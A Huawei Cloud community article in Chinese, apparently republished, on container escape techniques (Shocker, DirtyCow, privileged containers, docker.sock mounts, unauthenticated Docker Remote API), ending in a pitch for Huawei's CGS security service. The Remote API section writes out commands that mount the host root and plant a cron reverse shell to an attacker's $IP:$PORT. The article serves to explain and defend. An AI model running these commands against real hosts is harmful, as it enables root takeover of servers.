華為云|云原生2.0時代,企業(yè)都應該了解的容器安全

來源: 華為云社區(qū)
作者:華為云安全
時間:2021-03-26
17043
隨著云原生技術的成熟和市場需求的升級,云計算的發(fā)展已步入新的階段,云原生2.0時代已經(jīng)到來。從技術角度看,以容器、微服務以及動態(tài)編排為代表的云原生技術蓬勃發(fā)展,成為賦能業(yè)務創(chuàng)新的重要推動力,并已經(jīng)應用到企業(yè)核心業(yè)務。

隨著云原生技術的成熟和市場需求的升級,云計算的發(fā)展已步入新的階段,云原生2.0時代已經(jīng)到來。從技術角度看,以容器、微服務以及動態(tài)編排為代表的云原生技術蓬勃發(fā)展,成為賦能業(yè)務創(chuàng)新的重要推動力,并已經(jīng)應用到企業(yè)核心業(yè)務。從市場角度看,云原生技術已在金融、制造、互聯(lián)網(wǎng)等多個行業(yè)得到廣泛驗證,支持的業(yè)務場景也愈加豐富,行業(yè)生態(tài)日漸繁榮。云原生2.0是企業(yè)智能升級的新階段,企業(yè)云化從“ON Cloud”走向“IN Cloud”,新生能力與既有能力有機協(xié)同、立而不破,實現(xiàn)資源高效、應用敏捷、業(yè)務智能、安全可信,成為“新云原生企業(yè)”。

云原生2.0時代,任何企業(yè)都可以成為“新云原生企業(yè)”,作為云原生的代表技術之一的容器,每個企業(yè)都應該對容器安全有所了解。

傳統(tǒng)的虛擬機能夠基于虛擬化技術更加有效的利用硬件計算資源,可以實現(xiàn)云租戶的隔離與資源共享。相比虛擬機來說,容器更輕、更快,但是作為一種新技術,容器的安全防護也與虛擬機所有不同。

一、容器VS虛擬機

容器與虛擬機具有相似的資源隔離和分配價值,但容器的作用不同,因為容器是虛擬化操作系統(tǒng)而不是硬件。容器更便攜,更高效。

1614135105128082099.png

容器VS虛擬機

虛擬機(VM)是對物理硬件的抽象,將一臺服務器轉化為多臺服務器。Hypervisor允許在一臺機器上運行多個虛擬機。每個虛擬機都包含操作系統(tǒng)、應用程序、必要的二進制文件和庫的完整副本,占用數(shù)十GB的空間。虛擬機啟動速度也比較慢。

容器是應用程序層的一個抽象,將代碼和依賴打包在一起。多個容器可以運行在同一臺機器上,與其他容器共享操作系統(tǒng)內核,每個容器在用戶空間中作為隔離的進程運行。容器比虛擬機占用更少的空間(容器鏡像通常只有幾十MB大小),可以處理更多的應用程序。

二、容器逃逸

1614135137979093332.png

容器逃逸,是容器技術啟用以來一直被關注的問題,甚至被認為是容器的首要安全問題。所謂“逃逸”,指的是“流氓”容器/虛擬機嘗試突破隔離環(huán)境的限制,訪問宿主系統(tǒng)或者在同一個系統(tǒng)上的同駐容器或虛擬機。從而造成敏感信息泄露,或者系統(tǒng)及服務發(fā)生DOS的行為。

1614135232003045884.png

但正是由于容器與宿主系統(tǒng)共享內核,因此容器與宿主機有著更大的接觸面,隔離層次更少,更容易從容器內實施逃逸攻擊。因此,如何解決容器逃逸安全風險,避免容器逃逸攻擊帶來的損失是容器安全中最為重要的一個問題。

三、容器逃逸常用手段

1)通過容器自身漏洞及內核漏洞逃逸

1614135278617051043.png

攻擊的主要途徑之一就是利用漏洞,通過程序設計或實現(xiàn)的缺陷來執(zhí)行非法操作,容器逃逸也不例外。容器自身漏洞是其利用進行逃逸的路徑之一,同時由于容器共享宿主系統(tǒng)內核,因此內核漏洞是其逃逸的另一路徑,同時由于內核漏洞的數(shù)量遠遠大于容器自身漏洞,因此內核漏洞甚至成為容器逃逸更為主要的一個手段。

1.1利用容器漏洞逃逸–shocker攻擊

Shocker攻擊是容器逃逸最著名的案例,其本質是利用了一個不常用的系統(tǒng)調用open_by_handle_at,同時借助docker1.0前版本并未限制CAP_DAC_READ_SEARCH能力,并將容器啟動時會掛載宿主機文件到容器內(如舊版本的/.dockerinit,新版本的/etc/hosts)作為起點,執(zhí)行暴力破解攻擊,最終獲取到要訪問的宿主系統(tǒng)文件的句柄信息并進行讀取,從而實現(xiàn)逃逸。

Github地址:https://github.com/gabrtv/shocker

容器執(zhí)行shocker攻擊逃逸訪問宿主系統(tǒng)/etc/shadow文件:

1614135314746001570.png

1.2內核漏洞利用逃逸–dirtycow攻擊

1614135345155077173.png

DirtyCow(臟牛漏洞,CVE-2016-5195)是Linux內核中的一個權限提升漏洞,其也可被容器利用實施逃逸。容器利用dirtycow漏洞改寫虛擬動態(tài)共享庫VDSO(Virtual Dynamically Shared Objec),并將shellcode置入其中,當主機系統(tǒng)進程調用并執(zhí)行修改后的內容時,就會借用此進程身份執(zhí)行置入的shellcode,并最終在容器內獲得一個來自主機的root權限的shell。

1614135352321024725.png

2)不安全配置引發(fā)逃逸

2.1不安全啟動,如privileged特權容器

容器以--privileged參數(shù)啟動時稱為特權容器,特權容器顧名思義具有較高權限,包括對宿主機上的設備的訪問權限。因此,攻擊者可以直接在容器內mount主機設備并進行文件訪問,從而輕而易舉實現(xiàn)逃逸。

1614135415994069533.png

1614135420824043521.png

2.2不安全掛載,如掛載sock到容器

1614135451526014644.png

圖片來源:https://medium.com/better-programming/about-var-run-docker-sock-3bfd276e12fd

Docker.sock文件是一個Unix domain socket文件,是Docker daemon默認監(jiān)聽的套接字文件,docker client通過它與docker daemon進行通信。docker client將信息查詢和下發(fā)命令等請求通過docker.sock發(fā)給docker daemon,然后由deamon執(zhí)行具體請求,包括鏡像查詢、容器創(chuàng)建等。

將docker.sock掛載到容器內,可以在容器內繼續(xù)運行一個容器,實現(xiàn)docker in docker,并可在容器內容器啟動時通過-v參數(shù)將宿主機根目錄掛載到容器內,從而在容器內訪問宿主機文件,實現(xiàn)逃逸。

1614135466456085362.png

2.3 Docker remote api未授權訪問


默認情況下,docker daemon只允許通過unix domain socket–docker.sock進行本地通信操作,但除此之外,docker daemon也提供了Restful API供遠端client訪問(daemon通過-H參數(shù)指定監(jiān)聽端口),如果未對訪問進行權限控制及合規(guī)性檢查,則攻擊者也可以訪問這個API執(zhí)行高危操作,并實施逃逸攻擊。

例如一種攻擊場景:

(1)通過Remote API創(chuàng)建一個容器,并將宿主系統(tǒng)根目錄掛載到容器內:

#docker-H tcp://$IP:$PORT run-it-v/:/mnt ubuntu/bin/bash

其中:$IP表示docker daemon服務ip,$PORT表示Remote API監(jiān)聽端口

(2)將反彈shell命令寫入計劃任務文件

#echo'*****/bin/bash-i>&/dev/tcp/$IP/$PORT 0>&1'>>/mnt/var/spool/cron/crontabs/root

其中:$IP表示攻擊端IP,$PROT表示攻擊端監(jiān)聽端口

(3)攻擊端監(jiān)聽上一步中的$PORT端口,獲取來自對端(docker服務所在系統(tǒng))的具有root權限得反彈shell,并任意訪問。

四、華為云容器安全服務CGS之逃逸安全防護方案

1614135738689069440.png

華為云容器安全服務CGS

華為云容器安全服務CGS構建了容器安全威脅縱深防御體系,提供包括鏡像掃描、威脅檢測與威脅防護的一整套容器安全能力,提供針對容器的Build、Ship、Run全生命周期保護能力,滲透到整個容器DevOps流程,保證容器虛擬環(huán)境從開發(fā)到生產(chǎn)整個流程的安全。其中,容器逃逸檢測是CGS的核心功能之一,它通過如下手段構建系統(tǒng)化的容器逃逸全面防護能力:

1)監(jiān)控容器不安全配置啟動

前文中提到,不安全配置是容器逃逸的一個重要原因。因此,監(jiān)控容器的不安全啟動也是容器逃逸防護的一個重要手段。CGS可以針對容器啟動的各種不安全配置進行監(jiān)控,包括啟動特權容器、掛載宿主機文件、安全策略關閉、特權端口映射等,從容器創(chuàng)建伊始就檢測逃逸風險,實現(xiàn)整體防護方案第一步。

2)容器行為深度分析

容器啟動后,CGS可對容器運行過程中的行為進行實時跟蹤和觀察,監(jiān)控容器內的進程運行、文件訪問、網(wǎng)絡連接、系統(tǒng)調用等行為,并對行為進行深度分析,從行為過程體現(xiàn)出來的特征到行為所產(chǎn)生的結果進行全面分析檢測,有效發(fā)現(xiàn)容器已知和未知漏洞利用逃逸攻擊行為并進行告警。

1614135779309071278.png

3)容器基線機器學習

一般而言,容器的行為通常固定且純粹,比如一個提供web服務的容器內可能只會運行一個nginx進程,一個提供DB服務的容器內可能只會運行一個mysql進程,并且進程所執(zhí)行的操作,包括文件訪問、系統(tǒng)調用、網(wǎng)絡連接等行為都有固定合理范圍,因此可以對容器圈定正常行為范圍,構建行為基線。CGS利用機器學習技術,從靜態(tài)和動態(tài)兩個維度分析容器正常行為并建立基線,使得基線模型更準確、更完整,然后根據(jù)基線跟蹤容器行為,感知基線以外的異常行為,實現(xiàn)對攻擊行為的全面感知,并有效提升對于容器利用0day漏洞進行逃逸攻擊的檢測能力。

1614135794815084038.png

華為云CGS容器逃逸方案防護機制內置在防護平臺,無需用戶參與即可實現(xiàn)容器逃逸系統(tǒng)化檢測,具有良好的易用性,同時方案采用事件驅動機制實現(xiàn)性能高、反應快,為容器安全保駕護航。

立即登錄,閱讀全文
版權說明:
本文內容來自于華為云社區(qū),本站不擁有所有權,不承擔相關法律責任。文章內容系作者個人觀點,不代表快出海對觀點贊同或支持。如有侵權,請聯(lián)系管理員(zzx@kchuhai.com)刪除!
優(yōu)質服務商推薦
更多
掃碼登錄
打開掃一掃, 關注公眾號后即可登錄/注冊
加載中
二維碼已失效 請重試
刷新
賬號登錄/注冊
小程序
快出海小程序
公眾號
快出海公眾號
商務合作
商務合作
投稿采訪
投稿采訪
出海管家
出海管家